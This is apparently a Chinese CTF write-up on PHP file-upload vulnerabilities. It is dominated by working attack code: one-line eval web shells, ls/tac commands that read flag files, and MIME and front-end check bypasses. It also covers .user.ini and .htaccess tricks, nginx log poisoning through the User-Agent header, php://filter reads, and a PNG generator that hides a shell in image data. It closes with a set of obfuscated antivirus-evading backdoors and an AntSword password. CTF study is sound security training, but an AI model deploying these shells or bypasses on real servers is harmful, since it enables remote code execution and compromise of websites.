发现前端有验证
<?php @eval($_POST[1]);?>
直接点开F12
即可上传成功
//常用命令:
1=system("ls /"); //查找根目录
1=system("ls ./"); //查找当前目录
1=system("ls ../"); //查找上一级目录
1=system("tac ../flag.php"); //打印上一级目录的falg.php
1=system("cp fla?.php 1.txt");//将所有fla?.php文件复制到1.txt
1=system("cp f*.php 1.txt");//将所有f*.php文件复制到1.txt,*代表多个字母
后端也有验证,验证的是MIME类型content-type
常见的MIME类型:
超文本标记语言文本:.html——>text/html
xml文档:.xml——>text/xml
XHTML文档:.xhtml——>application/xhtml+xml
普通文本:.txt——>text/plain
RTF文本:.rtf——>application/rtf
png图片:.png——>image/png
所以可以通过用burp抓包后修改MIME后端检验类型,来上传php文件
上传一个php文件,同时用burp抓包,将burp中的Content-Type:
application/octet-stream修改为Content-Type:
image/png,即让服务器认为这个文件是一个图片文件去解析执行
先修改前端验证,发现抓包修改后端验证也没用,然后找到upload目录下有一个index.php文件,说明可能可以ini配置文件上传漏洞
auto_append_file=1.txt //保存为user.ini,记得抓包时文件名是.user.ini
记得抓包时文件名是.user.ini
记得抓包时文件名是.user.ini
记得抓包时文件名是.user.ini
记得抓包时文件名是.user.ini
记得抓包时文件名是.user.ini
记得抓包时文件名是.user.ini
记得抓包时文件名是.user.ini
1.先上传这个user.ini文件,发现上传成功。
2.然后本来不能上传规定外的文件,现在就可以上传了,上传的是指定的1.txt文件
3.这个1.txt里面就是一句话木马
这个1.txt木马就被自动包含进原来目录里的php文件了(一般是index.php)
记得抓包时文件名是.user.ini
记得抓包时文件名是.user.ini
记得抓包时文件名是.user.ini
发现上传失败,应该是对txt文件里的内容有过滤
经检测,查验之后发现是对php这三个字母过滤了,还过滤了[]
构造:=eval($_POST{1})?>
对()有过滤,那就不能用一句话木马了
构造反引号,可以直接进行代码执行的,反正可以上传无数次2.txt,一句话木马只是任意执行的手段
主要还是ini配置文件的考点
第一次<?=`ls ../`?>
第二次<?=`tac ../f*`?>
过滤了反引号,这里使用include命令去配合php伪协议进行读取
=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>
访问upload目录,解码得flag
利用日志包含绕过,1.txt内容:
=include"/var/lo"."g/nginx/access.lo"."g"?>
因为log被过滤了。所以用拼接绕过
然后修改UA头信息:
接着访问/upload打开源代码即可拿到flag
突破空格过滤可以用换行符%0a
增加了对图片头的识别,用了getimagesize()进行检测
getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求
ini问价和一句话木马前都要加一句GIF89a,或者改成png文件头89 50 4E 47
GIF89a
<?=eval($_POST{1})?>
没理解
上传一个文件,打开之后发现有一个图片文件包含点
利用脚本构造出一个png图片,
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'2.png'); //要修改的图片的路径
/* 木马内容
$_GET[0]($_POST[1]);?>
*/
?>
木马内容为:$_GET[0]($_POST[1]);?>
即get传入命令,post传入参数
&0=system
POST: 1=tac flag.php
jpg图片渲染
查看源码,发现只能上传zip
那就抓包,然后把zip压缩包的内容改成一句话木马上传,成功
利用htaccess文件
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
首先上传一个jpg文件抓包
AddType application/x-httpd-php .jpg//将.jpg后缀的文件解析 成php
然后访问文件,执行命令即可得到flag
其他姿势的免杀马:
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$poc="s#y#s#t#e#m";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_REQUEST['1']);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
或者:
$bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));?>
蚁剑连接,密码TyKPuntU
=include"/var/lo"."g/nginx/access.lo"."g"?>
上传.user.ini,修改UA头为一句话木马
然后上传b.php